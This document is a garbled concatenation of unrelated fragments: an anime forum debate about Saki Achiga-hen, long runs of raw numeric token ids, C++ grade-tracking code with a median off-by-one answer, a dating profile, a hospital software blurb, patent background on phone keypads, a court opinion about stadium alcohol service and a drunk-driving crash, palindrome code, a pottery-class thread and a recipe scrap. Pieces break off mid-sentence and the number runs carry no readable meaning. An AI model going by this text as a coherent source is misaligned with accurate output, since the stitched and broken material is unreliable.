other characters felt in contrast to the first series. Taken as a whole, the Achiga-hen project definitely has to be said to have been held down by pacing issues. It's not that the Achiga-hen storyline in general is any more lacking in "characters", "fanservice", or "actual mahjong" than the original series, it's just that all of these elements had to be compressed for rapid plot development in order to reach the required stage of the story. Taken alone, however, the imbalance between this and the real series is obvious when you consider that Achiga-hen took ~4 episodes to cover what the original series did in 25. However, there are plenty of obvious reasons for why it had to be this way. For one, from the audience's perspective the fact must be accepted that Achiga cannot be called the main characters. For two, from the author's perspective we have to consider Ritz's writing speed and the necessity of continuing her work on also developing and progressing the main story. From the anime production team's perspective, we also have to consider the necessity of this adaptation in the first place to keep awareness of this series' alive and maintain anticipation for the real second season of the series. So in the end, as fans, I think we should just accept that the only important parts of this adaptation were just this match with Teru (which I think can be rightfully described as masterfully executed, right up there as one of the best matches of the series), and the final expectation that the fourth team which will show up in the Finals of this tournament will be Achiga. And in any case, although Kuro has received most of the focus (amongst Achiga members) in this adaptation up to now, I think we should certainly wait for the last three episodes and the conclusion of the SemiFinals before making any judgements about the screentime of the other characters. As for Kuro herself, while I can more or less understand that it is quite easy to be harsh on her, in the end I really have to harshly disagree with any statement to the effect that Kuro had to be "babysat" or did not contribute to the effort against Teru. Really, if you take into account the nature of Kuro's ability and the options available to her, Kuro has already done the best that she conceivably could have done in competing against Teru. In the end, all of the contributions of Kuro, Toki, and Kirame were necessary in specifically this order for them to have managed to stop Teru the way they did this time. Complaining about the way Kuro played during the rest of the battle is pointless, because: 1) If Kuro had discarded a Dora at any point earlier, they would've stopped coming to her and Teru could have gone on an even greater rampage much more easily 2) If Kuro had changed her playstyle at any point earlier, Teru would not have exposed herself to a vulnerability based on her analysis of Kuro's playstyle and thus Kuro, Toki and Kirame would not have been able to end Teru's final consecutive dealership. In the end, I don't think there's a valid reason to hate any of the characters who took part in this battle. Taken as a whole, the Achiga-hen project definitely has to be said to have been held down by pacing issues. It's not that the Achiga-hen storyline in general is any more lacking in "characters", "fanservice", or "actual mahjong" than the original series, it's just that all of these elements had to be compressed for rapid plot development in order to reach the required stage of the story. Taken alone, however, the imbalance between this and the real series is obvious when you consider that Achiga-hen took ~4 episodes to cover what the original series did in 25. I already know that much. The problem is how they seem to value so much flashbacks and all that you had to wait Episode 5 to have an actual match (hell, their qualification against Bansei was as a short work as in the manga, with Kuro starting with a strong hand, then everyone else just spam ron one after another). Really, it is more like a direction issue than really the content, considering they could potentially cut things that were really unecessary. The first 2 episodes intro were alright, albeit lacking of some implied skirmishes, but 3 and 4 had barely any content (save Ryuumonbuchi's cameo). Beyond that, the pacing is really going on left and right. Quote: However, there are plenty of obvious reasons for why it had to be this way. For one, from the audience's perspective the fact must be accepted that Achiga cannot be called the main characters. For two, from the author's perspective we have to consider Ritz's writing speed and the necessity of continuing her work on also developing and progressing the main story. From the anime production team's perspective, we also have to consider the necessity of this adaptation in the first place to keep awareness of this series' alive and maintain anticipation for the real second season of the series. So in the end, as fans, I think we should just accept that the only important parts of this adaptation were just this match with Teru (which I think can be rightfully described as masterfully executed, right up there as one of the best matches of the series), and the final expectation that the fourth team which will show up in the Finals of this tournament will be Achiga. The problem I have with that then is thus the choice of adapting the series -now- whereas the manga itself is basically not complete leading to a dead giveaway that things won't go smooth right from the get go. And really, I really cannot consider them as "not main characters" because they are on, well, another side of the picture, so there is really no real hindering factor to set the premise of Shiratodai going on onslaught towards the finals (with Kiyosumi fated to be there), while Achiga girls trying to reach that part as well. The only difference is "how" you do that, which doesn't have to put into something as being overwhelmingly overshadowed this way. Quote: And in any case, although Kuro has received most of the focus (amongst Achiga members) in this adaptation up to now, I think we should certainly wait for the last three episodes and the conclusion of the SemiFinals before making any judgements about the screentime of the other characters. The actual problem is that it isn't even because of the Teru matches, but really all "proper" matches were only shown with Kuro being either dominating people or literally slaughtered, either by Toki or Teru. You barely see other girls having like 2-3 rounds within seconds/minutes at best. That's really more than half to what we were presented to, and having a packed screentime for the other characters in the last episodes will just confirm how unbalanced the series was so far. Quote: As for Kuro herself, while I can more or less understand that it is quite easy to be harsh on her, in the end I really have to harshly disagree with any statement to the effect that Kuro had to be "babysat" or did not contribute to the effort against Teru. Really, if you take into account the nature of Kuro's ability and the options available to her, Kuro has already done the best that she conceivably could have done in competing against Teru. In the end, all of the contributions of Kuro, Toki, and Kirame were necessary in specifically this order for them to have managed to stop Teru the way they did this time. Complaining about the way Kuro played during the rest of the battle is pointless, because: It is more the character concept of Kuro that is flawed, not the character on her own. The author basically cornered themselves by using such "gimmick" and restriction for her, to the point that it leads to huge issues snowballing afterwards. Frankly
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310, 7744, 1119, 327, 1511, 34782, 285, 12823, 15, 187, 6080, 7051, 4095, 13, 2057, 407, 2216, 390, 1955, 281, 247, 7658, 13, 513, 417, 897, 253, 2629, 5673, 15, 6162, 494, 7051, 4095, 403, 271, 1650, 273, 271, 2862, 7140, 273, 7051, 4095, 326, 513, 417, 5431, 2085, 247, 2629, 1894, 5857, 5673, 15, 28100, 273, 18001, 4095, 5431, 4831, 326, 253, 2813, 4944, 4354, 275, 247, 11320, 390, 29725, 15, 1916, 2525, 436, 8284, 13, 18001, 4095, 2550, 387, 253, 1072, 673, 3959, 9185, 14, 10306, 10149, 285, 2217, 10149, 323, 512, 253, 4876, 273, 271, 30156, 15, 1284, 1142, 18001, 4095, 452, 3470, 326, 2430, 1894, 5857, 13, 436, 5644, 281, 247, 7344, 875, 5277, 247, 2608, 5673, 326, 6131, 3426, 285, 11638, 13175, 533, 275, 247, 1979, 326, 476, 1335, 320, 4824, 3304, 247, 2608, 434, 11320, 15, 6676, 5795, 3082, 323, 16161, 436, 7344, 2226, 275, 253, 2720, 1445, 13, 347, 588, 320, 5469, 2708, 15, 187, 688, 7705, 15, 337, 247, 7842, 4481, 310, 2011, 1907, 247, 1894, 5857, 5673, 285, 1332, 1929, 275, 253, 2720, 1445, 15, 380, 5673, 3797, 13265, 3520, 16020, 275, 247, 495, 6027, 21, 4315, 327, 247, 2914, 2454, 273, 253, 4481, 15, 13728, 273, 253, 13265, 16020, 403, 7922, 247, 930, 1560, 13, 581, 930, 1560, 591, 6409, 15, 16244, 16020, 403, 671, 7922, 2505, 5810, 13, 1264, 5810, 591, 6409, 15, 6295, 253, 10704, 285, 2505, 1894, 23768, 403, 4860, 327, 253, 2454, 273, 253, 6409, 15, 3976, 5468, 403, 4236, 407, 806, 13887, 247, 4438, 1128, 6370, 1560, 390, 2505, 1894, 1128, 3529, 22649, 534, 7140, 273, 1894, 4916, 5966, 407, 17178, 253, 6409, 15, 15092, 2505, 4438, 13, 253, 1798, 1894, 5966, 273, 253, 1264, 8653, 327, 247, 1677, 6409, 2454, 310, 22266, 407, 253, 1180, 273, 2069, 253, 6409, 310, 13661, 1309, 247, 1677, 2180, 15, 187, 2214, 1650, 13, 275, 7705, 15, 337, 253, 6409, 275, 253, 1755, 4194, 4766, 5084, 273, 253, 5673, 310, 7922, 253, 930, 1560, 374, 285, 253, 2505, 5810, 247, 13, 270, 13, 285, 260, 15, 4794, 281, 253, 1332, 13, 1223, 275, 2505, 4438, 247, 2608, 39145, 253, 6409, 581, 673, 281, 5224, 253, 1894, 247, 323, 5438, 15, 1916, 5224, 1894, 270, 323, 5438, 13, 253, 2608, 39145, 253, 6409, 767, 12640, 2069, 15, 10244, 13, 253, 2608, 39145, 253, 6409, 1264, 12640, 2069, 281, 5224, 1894, 260, 323, 5438, 15, 18374, 2979, 273, 5810, 326, 476, 830, 3000, 285, 14683, 403, 4860, 407, 10804, 34373, 17178, 253, 4569, 3520, 6409, 253, 4569, 1180, 273, 6409, 39145, 323, 1016, 6774, 1894, 275, 253, 6799, 3159, 390, 6197, 15, 831, 5673, 285, 1332, 403, 973, 14, 4304, 275, 253, 1445, 285, 556, 253, 5750, 273, 1146, 8566, 275, 1979, 28, 2299, 13, 253, 1332, 556, 253, 18928, 273, 1146, 3468, 2429, 342, 247, 2629, 5673, 1955, 281, 253, 1180, 273, 6409, 39145, 2424, 281, 4901, 1142, 273, 253, 2505, 5810, 15, 187, 688, 7705, 15, 374, 247, 1894, 5857, 5673, 285, 1332, 2074, 281, 253, 581, 2011, 275, 7705, 15, 337, 310, 2011, 15, 380, 1332, 310, 9093, 8931, 281, 253, 581, 2011, 275, 7705, 15, 337, 15, 380, 5673, 310, 1027, 275, 326, 253, 16020, 403, 2602, 10149, 13, 4495, 326, 253, 16020, 403, 4216, 1037, 6607, 327, 1818, 494, 3148, 13, 2581, 685, 3520, 16020, 15, 743, 5750, 273, 436, 5673, 310, 326, 352, 310, 3596, 11722, 13, 984, 253, 29886, 6779, 273, 253, 10149, 476, 320, 4391, 327, 253, 3148, 15, 3813, 13, 253, 12714, 273, 5810, 281, 16020, 13, 253, 11461, 273, 253, 10149, 13, 285, 253, 4583, 1979, 273, 253, 5673, 403, 4778, 15, 380, 1332, 13, 2299, 13, 1335, 556, 253, 18928, 273, 1146, 3468, 2429, 342, 247, 2629, 5673, 1955, 281, 253, 1180, 273, 6409, 39145, 3058, 281, 4901, 1142, 273, 253, 2505, 5810, 15, 187, 688, 7705, 15, 495, 1529, 2608, 5673, 285, 2505, 5857, 1332, 1929, 275, 253, 1445, 310, 2011, 15, 831, 5673, 556, 10488, 10149, 5939, 2190, 1264, 10175, 13, 3578, 10149, 591, 4194, 15, 831, 5673, 3400, 2217, 16020, 326, 1046, 1894, 273, 247, 6867, 30156, 556, 697, 1211, 2234, 15, 21046, 6555, 5810, 1335, 3894, 10149, 342, 247, 2505, 1894, 13, 3103, 247, 5438, 875, 31437, 285, 2505, 4438, 310, 1335, 2424, 15, 380, 1332, 273, 7809, 5810, 323, 5438, 310, 15246, 275, 326, 247, 1894, 310, 4860, 407, 3365, 17178, 253, 6409, 326, 12646, 253, 6799, 1894, 327, 253, 6409, 2454, 15, 831, 1332, 6131, 253, 5750, 273, 7938, 2505, 5857, 18819, 984, 2709, 1894, 39145, 403, 417, 3058, 281, 3609, 667, 273, 253, 5810, 15, 329, 18928, 273, 253, 5673, 310, 326, 281, 2525, 1979, 10806, 253, 16020, 403, 1355, 4103, 281, 247, 6867, 2608, 434, 41719, 532, 15, 831, 5644, 281, 17357, 285, 1679, 7899, 1894, 5857, 2429, 342, 247, 2629, 5673, 15, 187, 688, 7705, 15, 577, 247, 1894, 5857, 5673, 285, 1332, 2074, 281, 253, 581, 2011, 275, 7705, 15, 495, 310, 2011, 15, 380, 1332, 310, 9093, 8931, 281, 253, 581, 2011, 275, 7705, 15, 495, 15, 380, 5673, 310, 1027, 275, 326, 253, 16020, 403, 2602, 10149, 13, 2581, 685, 3520, 16020, 15, 6975, 253, 5673, 273, 7705, 15, 495, 13, 436, 5673, 3400, 2217, 16020, 326, 1046, 1894, 273, 247, 6867, 30156, 556, 697, 1211, 2234, 15, 3976, 5468, 403, 4860, 323, 5438, 407, 3365, 17178, 253, 2602, 2234, 326, 12646, 253, 6799, 1894, 15, 743, 5750, 273, 436, 5673, 689, 253, 581, 273, 7705, 15, 495, 310, 326, 12471, 273, 2710, 10149, 476, 320, 25920, 13, 323, 1650, 253, 8653, 5370, 273, 2505, 5810, 476, 320, 25920, 323, 247, 5370, 273, 31437, 5810, 15, 3900, 436, 5673, 6131, 5520, 3596, 321 ]	Student::Student(string tname){ name = tname; } double Student::getHWWeight(){ return HWWeight; } void Student::setHWWeight(double arg){ HWWeight = arg; } double Student::getmidtermExamWeight(){ return midtermExamWeight; } void Student::setmidtermExamWeight(double arg){ midtermExamWeight = arg; } double Student::getfinalExamWeight(){ return finalExamWeight; } void Student::setfinalExamWeight(double arg){ finalExamWeight = arg; } double Student::getmidterm(){ return midterm; } void Student::setmidterm(double arg){ midterm = arg; } double Student::getfinal(){ return final; } void Student::setfinal(double arg){ final = arg; } void Student::addHW(double arg){ HW.push_back(arg); } void Student::readHW(istream &i){ int x; i >> x ; while(x >= 0){ HW.push_back(x); i >> x; } } double Student::getHWAverage(){ return VecAverage(HW); } double Student::getHWMedian(){ return VecMedian(HW); } Thank you. A: Consider your median function T VecMedian(vector<T> arg){ int medians = arg.size()/2; medians+=1; sort(arg.begin(),arg.end() ); return arg.at(medians); } If the input arg size is 2.. you can only access arg[0] and arg[1]; your medians will be 2 and thus out of range Firstly, my name's Rick, not Jack... Secondly, I now live in Osoyoos, not Chilliwack, and thirdly, I do not use the'meet me' function, so please feel free to send me a message instead. Things are moving fast for me... The new house in Osoyoos is up and framed and I'm working on the interior... My Chilliwack home is rented... Yay!!! Hoping to have it all finished and be moved in by Xmas (even if it still has plywood floors!!!)... If you think you'd like to help in some way, shape or form, and are ready for a little adventure, let me know... We'll get to know each other by nailing some drywall, painting a wall, shooting some pictures, and splitting a bottle of wine after... ;o) It is very important to me that you are SLIM and are a non-smoker (as in DOESN'T SMOKE... ANYTHING)... Please have a recent photograph to share... Thanks for reading this, and if we never connect, lots of luck in your search... Have a great day... First Date Work on the colour scheme together...wink... Mail Settings To send a message to Chilliwack Jack you MUST meet the following criteria: FemaleData Analyzer is a dedicated application created for the University Hospital for Children in Kraków-Prokocim. It will help in processing of data aquisited by medical devices such as pulsoximeters and respirators. The software has been integrated with the existing informatic system in the hospital. It covered for example file formats that are used to store data. As one of many functions ISM Data Analyzer is able to point out incorrect data nad correct (or complete) them automaticly. The data are aquisited form many different devices they also have to be unified and merged. One of the most important functions is support of the analysis and evaluation of many factors from the aquisited data and their graphical representation. ISM Data Analuzer helps to increase productivity in field of large data analysys. This is why it helps to improve the quality of services ofeered by University Hospital for Childer.1. Technical Field This description generally relates to the field of electronic devices and, more particularly, to user interfaces of electronic devices. 2. Description of the Related Art Electronic devices often require entry of data in the form of words, sentences, letters, numbers, characters and symbols by a user in order to perform their designed functions. A typical character entry interface that meets this requirement provides a plurality of buttons, each sized to be easily pressed by a human fingertip, with one character assigned to each button and one button for each character that a user could want to select. In English-language cultures, the QWERTY keyboard is one such standard interface and this interface is commonly found on typewriters and computers. Some electronic devices, either by design or due to a constraint, do not use the standard interface. Portable electronic devices are an example of an entire category of electronic devices that do not typically provide a standard character entry interface. Users of portable devices typically demand that the device fit easily in a pocket or purse. To meet this requirement, portable devices cannot at the same time offer finger-sized keys and enough keys for all the letters of an alphabet. As many portable devices have functions that require character entry, this leads to a conflict between providing a user interface that offers complete and convenient functionality but in a size that can still be carried inside a user's pocket. Many alternative methods for solving this conflict exist in the prior art, as will be discussed below. In FIG. 1 a cellular phone is shown having a character entry interface and method known in the prior art. The interface includes twelve physical buttons in a 3×4 matrix on a front face of the phone. Ten of the twelve buttons are assigned a numeral, one numeral per button. Eight buttons are also assigned text characters, three characters per button. Both the numerical and text character assignments are indicated on the face of the button. Characters are selected by first choosing a mode—numeral or text character—that identifies which category of character becomes entered by pressing the button. Within text mode, the particular character entered of the three displayed on a given button face is differentiated by the number of times the button is pressed during a given period. For example, in FIG. 1 the button in the top row middle column of the interface is assigned the numeral 2 and the text characters a, b, and c. According to the method, while in text mode a user presses the button one time to indicate the character a for selection. To indicate character b for selection, the user presses the button two consecutive times. Similarly, the user presses the button three consecutive times to indicate character c for selection. Sequences of characters that can form words and sentences are indicated by consecutively pressing the appropriate physical button the appropriate number of button presses for each subsequent character in the desired word or sentence. This interface and method are well-known in the art and has the advantage of being compact in size; however, the method has the disadvantage of being slow compared with a standard interface due to the number of button presses required to enter many of the text characters. In FIG. 2 a character entry interface and method similar to the one shown in FIG. 1 is shown. The method is essentially identical to the one shown in FIG. 1. The interface is different in that the buttons are soft keys, meaning that the buttons are graphically represented on changeable display, rather than physical buttons. An advantage of this interface is that it is configurable, because the graphical representation of the keys can be changed on the display. Therefore, the assignment of characters to buttons, the arrangement of the keys, and the overall size of the interface are variable. The method, however, still has the disadvantage of being slow compared with a standard interface due to the number of button presses needed to enter many of the text characters. In FIG. 3 another user interface and text entry method known in the art is shown. This interface has thirty keys distributed among three rows, ten keys per row. This interface provides enough buttons that every character of a typical alphabet has its own key. Numeric characters still share keys with a text character, therefore a selection between numeric and text mode is still required. The method of indicating characters for selection is straightforward in that a character is indicated by simply pressing the button that displays the desired character on the button face. This method offers the advantage of faster text entry speeds because multiple character presses are not needed to select any of the characters. A disadvantage of the interface is that to meet size constraints the buttons are small relative to a typical user's fingertip. This leads to slower and less accurate character entry compared with a standard interface. In FIG. 4 a character entry interface and method similar to the one shown in FIG. 3 is shown. The method is essentially identical to the one shown in FIG. 3. The interface is different in that the buttons are soft keys, rather than physical buttons. Like the interface of FIG. 3, this interface provides enough buttons that every character of a typical alphabet has its own key. Characters are indicated for selection by simply pressing the soft key that displays the desired character. An advantage of this interface over the one of FIG. 3 is that panels of various keys can be exchanged, for example the displayed panel of text characters can be exchanged for a panel of numeric characters. While this interface offers improved configur
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At this point in the proceedings, the jury had heard the following evidence. At approximately 11:00 a.m. on October 24, 1999, Lanzaro and Michael Holder arrived at Giants Stadium where the men attended a football game. Lanzaro admitted that he did not clearly remember all of the events of the day but recalled that while tailgating before the game, he had consumed two or three of the eight twelve-ounce beers he had in his truck. He described himself as a binge drinker. The men entered the stadium at approximately 12:30 p.m. for the 1:00 p.m. kickoff. Lanzaro, who had purchased his ticket from a scalper, did not sit with Holder. Rather, he sat in the third or upper tier in 485 section 310. Lanzaro admitted that during the first half of the game he purchased two or more sixteen ounce light beers from an unidentified individual operating a concession stand in the upper tier. Lanzaro "guzzl[ed]" the beer, drinking approximately one beer every ten minutes, and "never had an... empty hand," claiming he was "drunk" by the end of the first quarter. Just before halftime, at approximately 2:30 p.m., Lanzaro left his seat and walked down the "spirals," the ramps leading to the different stadium levels, to meet Holder. En route, Lanzaro, who said he was "shit-faced," purchased "four or more" sixteen ounce light beers from an unidentified individual operating a portable beer cart in the lower level spiral. Lanzaro claimed he told the server how many beers he wanted and then "duked" or tipped the server an extra ten dollars to bypass the stadium's two-beer limit. Although Lanzaro could not recall his conversation, he said he had not been abusive, vulgar, or disrespectful because he wanted to be served, explaining that "if you're a happy drunk, people give you beer. If you're a disrespectful drunk, they cut you off." Lanzaro walked approximately fifty to seventy-five feet to meet George Lanzaro, his brother, Lisa Lanzaro, his sister-in-law, and Holder in the spiral by Gate D. George and Lisa, who had been sitting with Holder, confirmed that Lanzaro walked toward them carrying six sixteen-ounce beers. George claimed that Lanzaro appeared to be intoxicated because he had "a blank sta[re] look," was animated, loud, and had "a very slight sway." Lisa confirmed that Lanzaro appeared intoxicated because he was slurring his words, using rapid hand movements while talking, "his eyes were drunk... [l]ike floating eyeballs," and he "cupped" his cigarette. Lisa said she gave Lanzaro a sandwich because she "thought he was drunk." Neither Lisa nor George Lanzaro observed Lanzaro purchase the beer. Holder testified at trial that he could not recall whether Lanzaro had appeared intoxicated but admitted that at depositions he had testified that Lanzaro had not seemed drunk. In any event, Lanzaro maintained that he drank only one or two of the beers he bought in the spiral and offered the rest to his family. Lanzaro then left and purchased marijuana in the spirals from an unidentified individual, but claimed he only had a "couple of hits" because he "was too drunk." He admitted, however, that he likes to smoke marijuana because it makes him "feel a little bit more drunk." Plaintiffs produced no witnesses that actually observed Lanzaro purchasing beer at the stadium on the date of the accident, nor did they submit any internal reports that showed sales to visibly intoxicated persons on that date. For example, the reports prepared by various employees for that date revealed, in relevant part that: cashier number two in section 108 sold more than two beers to a customer; a cashier at stand 204 on the Mezzanine level sold six beers to a customer; and a bartender was the subject of a disciplinary report for consuming a beer while on duty. Moreover, all of the beer servers who were working in the vicinity of Spiral D had no recollection of serving Lanzaro and further claimed they had not served, or observed service of, visibly intoxicated customers. Nevertheless, Officer Corey Lange of the Hasbrouck Heights Police Department, who was not present at the stadium on the date in question but who had reported to the scene of the accident, testified in uniform that during the approximately ten games he had attended sometime prior to 1999, he observed many visibly intoxicated people, including some of his friends, served beer, and had 486 never seen anyone refused service. Lange said he stopped attending the Giants games in 2001 because he did not "want to be bothered dealing with the problems that occur in the stadium." Similarly, Lanzaro testified that he had been served at prior games at Giants Stadium when he was visibly intoxicated and that he had never been refused service. Holder also represented that he had been served beer at the stadium while visibly intoxicated. Lanzaro and Holder left the stadium sometime around the beginning of the third quarter. Lanzaro drank a beer in the parking lot before driving to Shakers, a go-go bar. While there, Lanzaro ordered a light beer, but claimed he had only "a couple sips" because he was "done," meaning intoxicated, and then he and Holder left. Lanzaro drove to a liquor store where Holder bought a six-pack of beer and a bottle of champagne, which they brought to The Gallery, another go-go bar. The Gallery did not have a liquor license but allowed their patrons to bring alcohol. It provided cups, ice and service. Lanzaro and Holder remained at The Gallery for approximately forty minutes during which time Lanzaro admitted he may have consumed a beer, but said that he and Holder did not drink the champagne because it was for the dancers. Gunther Bilali, the owner of The Gallery, set forth in deposition testimony read to the jury that he was not present at the time, but the hosts at his establishment would not allow a visibly intoxicated patron to enter. After leaving The Gallery, Lanzaro drove to a fast food restaurant where he and Holder ate. At approximately 5:47 p.m., shortly after leaving the restaurant, Lanzaro swerved across the lane of traffic and struck the 1999 Toyota Corolla driven by Ronald Verni. The parties stipulated that "Lanzaro's driving was the cause of the accident." Upon arrival at the scene, Officer Lange and Patrolman Thomas Barnett of the East Rutherford Police Department observed that Fazila was in the back seat "wedged behind the driver" and that Antonia, age two, who was also in the back seat, was unconscious. Lange said that Lanzaro, who was standing on a "corner in a daze," appeared to be intoxicated. He noted that Lanzaro was swaying, his eyes were bloodshot, his hand movements were fumbling and slow, his face was flushed, and there was a "strong odor" of alcohol on his breath. Sergeants George Netelkos and George Shihanian of the Hasbrouck Heights Police Department, who arrived shortly after the accident, observed that Lanzaro was intoxicated. On a scale of one-to-ten, Netelkos described Lanzaro's level of intoxication as a ten. A test taken at 6:25 p.m. confirmed that Lanzaro had a blood-alcohol concentration (BAC) of.266 percent. Lanzaro was arrested, subsequently convicted of vehicular assault, and sentenced to a five-year term. Fred DelMarva, plaintiffs' expert in the area of service and training relating to alcohol service, opined that defendants violated the applicable industry standard of care in failing to properly train their employees by requiring them to be TIPS certified. He explained that the six-hour-long Training for Intervention Procedure for Servers (TIPS) program effectively teaches alcohol servers how to spot behavioral cues of intoxicated patrons, and asserted that a study showed that TIPS-trained servers never served customers who had a BAC exceeding.10 percent. However, only 59% of beer servers, 21% of cashiers, and 0% of the alcohol compliance officers at the stadium were TIPS certified. *487 Moreover, according to DelMarva, various reports and checklists revealed that HMS and ASM violated their alcohol service policy on the date of the accident and on many other dates. He explained that defendants' "standard practice" was to serve visibly intoxicated people and not to serve only those patrons who were "excessively intoxicated." He maintained that HMS and ASM also violated the TIPS policy, which instructs servers to only sell one twelve-ounce beer per transaction, not two sixteen-ounce beers. Furthermore, Dr. Richard Saferstein, plaintiffs' expert toxicologist, testified that at approximately 2:30 p.m. on October 24, 1999, Lanzaro was visibly intoxicated when he was served beer at the stadium. Saferstein maintained that an average person would exhibit signs of visible intoxication at a.10 percent BAC. Those signs include poor body gait, inability to stand and walk properly, poor muscular coordination, slow and unsteady hand movement, and "perhaps but not necessarily slurred speech and... being boisterous and loud." Saferstein also cited to a study where 100 percent of TIPS-trained alcohol servers recognized individuals with a.10 percent or higher BAC as visibly intoxicated. He conceded, however, that "tolerant" drinkers, or individuals who have become acclimated to alcohol, generally do not exhibit signs of visible intoxication at a.10 percent BAC. He concluded,
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3149, 46487, 311, 606, 3083, 536, 313, 40, 4940, 14, 3169, 31541, 52, 1011, 10, 285, 443, 249, 682, 606, 3083, 536, 313, 1779, 20471, 285, 330, 16033, 307, 47209, 10, 984, 273, 253, 22620, 275, 253, 12696, 187, 187, 10457, 253, 37768, 619, 3331, 3534, 479, 436, 12529, 45568, 3644, 14354, 2534, 13 ]	check that you're looking at a longer string //this really could be optimized anyway, but here it is for simplicity if (substring.Length > largest.Length && IsPalindrome(substring)) { largest = substring; } } } return largest; } With this, some tests: banana --> anana bananab --> bananab zzz --> zzz abcdddeeedddc --> cdddeeedddc a --> a abcbabbbbbbab --> babbbbbbab Who has a great clay/ceramics program in your area? \| Q.O.W. 1/31/2013 Time for "lauding the locals" here. Many of us have ceramics programs,.... be they community education, craft centers, or academic institutions........ that we feel offer some great learning opportunities. So time to "share the wealth" of information. Who has a great clay/ceramics program in your area? Check out joining the Potters Council ( www.potterscouncil.org ) for more networking possibilities, peer mentoring opportunities, discounts on books, magazines, and DVDs, health insurance, credit card merchant programs, and many other member benefits. Over a year ago my wife bought me pottery classes at alocal pottery here in Snohomish, WA. It had been about 15 years since Ihad taken clay seriously so was VERY rusty. She knew of my love for clayand wanted me to take it back up. Ifigured I would take a quick class as a one time fun thing as I have done overthe years. Upon entering the Potteryfor the first time I knew it was real. Not a trendy strip mall space with slick furniture and lighting. But a real working pottery. It took a good 6 months to get back into formand have loved the caring and nurturing environment. Bruning Pottery in Snohomish, WA is a full productionpottery as well as a teaching studio. They have been in business for 30 years and are in an old building inthe historic area of town. After about 8months Larry was encouraged to get my own studio together to help me reallylearn some aspects like glaze formulas and high firing. Even though I have my own studio now I willcontinue to take a class or two each year. I would encourage anyone who is in the area to giveBruning a try, you will not regret it. There are throwers and hand builders in each class and a huge selectionof glazes as well as all the equipment needed. Larry has a large +75 cf high fire car kiln and fires it about twice aweek with both student pots as well as his own production. I like the fact that is a real pottery that has aproduction facility and professional potters filling orders and running thatproduction. It is a real eyeopener. I also like the functional wareemphasis that Larry teaches as this is what appeals to me. There is nothing wrong with sculpture or non-functionalart pieces, but that does not appeal to me. His website is super plain, but he does it all himselfand likes it that way. Where I live in Southern California, (the area around Pasadena and Ontario) there are two full range ceramic programs of note. The first is the Baldwin Park Adult Ceramics Program. They fire from cone 06 to 10 and provide glazes for ^5 and ^10. There are electric wheels (in a separate room) and tables for hand building. There is a fine instructor as well as an extruder and a fine slab roller. This is more like an artist's studio than a class although there is plenty of instruction for all from beginners to advanced potters. The second is the Ceramic Services Inc. in Ontario. While this is a working Kiln manufacturing shop it is also a true a potters studio. While they will accommodate ^06 and ^5 firings they mostly do ^10 and RAKU! They have about 25 glazes but they have materials for studio members so that you can make up you own glazes. There are about 10 electric wheels and able table space. They also have an extruder and slab roller. In addition they stock clay, glaze and tools for purchase. Regular demonstrations and workshops are provided. Of the two potteries, BPAC is great for learners of all ages and skills, CSI is more of an artist studio with limitless potential for inspiration, networking and camaraderie. I live in the Triad area of North Carolina (High Point, Greensboro, Winston-Salem). The Sawtooth School for Visual Art in Winston-Salem has a fantastic ceramic program, now featuring separate newly designed wheel throwing and hand-building studios with all the necessary equipment, a separate glazing room with a choice of between 15-20 cone 6 glazes (reduction), a separate glaze mixing room, and two gas kilns. The program coordinator has been there for about 20 years I can't say enough about how well he operates the program and how much he cares about the students. He offers several workshops throughout a session (four sessions per year), sometimes featuring well-known artists from around the country. Students have access to the studios whenever a class is not in session. Check it out at www.sawtooth.org I am fortunate to live in Helena Montana home of Archie Bray Foundation where potters from around the world come to learn and teach. The Bray helped locals start Clay Arts Guild of Helena which I was a member of for six years, now I have a kiln and studio at home. Sometimes I miss the interaction with other artist but I don't miss the politics/rules/stress that comes with keeping the doors open and keeping everyone happy. I purchase my supplies from Archie Bray Clay Biz, my videos and books from Ceramic Arts Daily, some day in the future will have a mentor from the Potters Council..... The cottage is home to four different guilds - Stained Glass, Weaving, Palette and Pencil and of course, pottery. They have courses constantly and membership allows you 24 hour access to the facilities. I'm learning so much there (newby potter - 1 year old ). And they also have sales twice a year. Here in Boise, most of the middle schools used to teach ceramics; all the high schools have ceramics, and of course, Boise State University has a really good ceramics program. There's a community based school, Fort Boise, for adults. Some of the "students" have been there long enough to have tenure. To get into a class there comes down to WHO you know, not what. Then there's The Potters Center, the local supplier for the nearby school districts, and for most studio potters. They teach classes, and have studio space available for local potters. They also provide firing for the public--06 bisque and cone 5 glaze. All of these services are fee based. Here in the Northwest corner of Connecticut, we are fortunate to have an adult ed class at the local community college. The studio is well equipped with 20 wheels, 2 electric kilns, a slab roller, an extruder, a spray booth (in the separate glaze room) and plenty of tables to work on. We share the space with the "for credit" classes. The Adult Ed class is co-taught by 2 wonderfully talented potters. The content of the class is determined by the needs of the students. Weekly demos are tuned to the interests of the students and challenges are issued to each individual's level of ability. I am taking classes for the third year and am learning new things all the time. I recently moved into the Clay Underground in San Francisco (http://www.theclayunderground.com) which (shameless plug) still has space available. If you're looking for studio space in San Francisco, you can't really do better without buying a house ($$$$). The Clay Underground also runs some classes, and the full-time artists there (like me) tend to drop by and help out the students on general technique: http://www.theclayun...nd.com/classes/. There's currently 8 Shimpo wheels (these seem to be a favorite with schools now), a slab roller, an extruder, and three electric kilns. It's also more spacious than just about anything in San Francisco. If that's not your speed, I can also recommend: * Sharon Art Studio in Golden Gate Park. This is a subsidized student facility with a great faculty and terrific, friendly group of students. Drawbacks are (a) since it's a student facility, you can't sell your work, and ( there's a waiting list to get in. * SMArt Gallery and Studio, in the Tenderloin. Run by a former SFSU professor of ceramics (Steven Allen, who's been featured in CM), this studio has 6 Shimpo wheels, 2 electric kilns and a very serious glaze lab. Quite cramped compared to Clay Underground, but has a serious gallery attached if you want Steve's help selling your work.Spicy chicken soup recipes ) Chicken Halang Halang is the name of our featured chicken dish for today – believed to be a hybrid of our well-loved Tinolang Manok (Ginger-based ChickenSoup) and Ginataang Manok (Chicken and Coconut curry) because of the similarities in the ingredients During the Holiday my friend gave me this Lind chili dark chocolate bar,
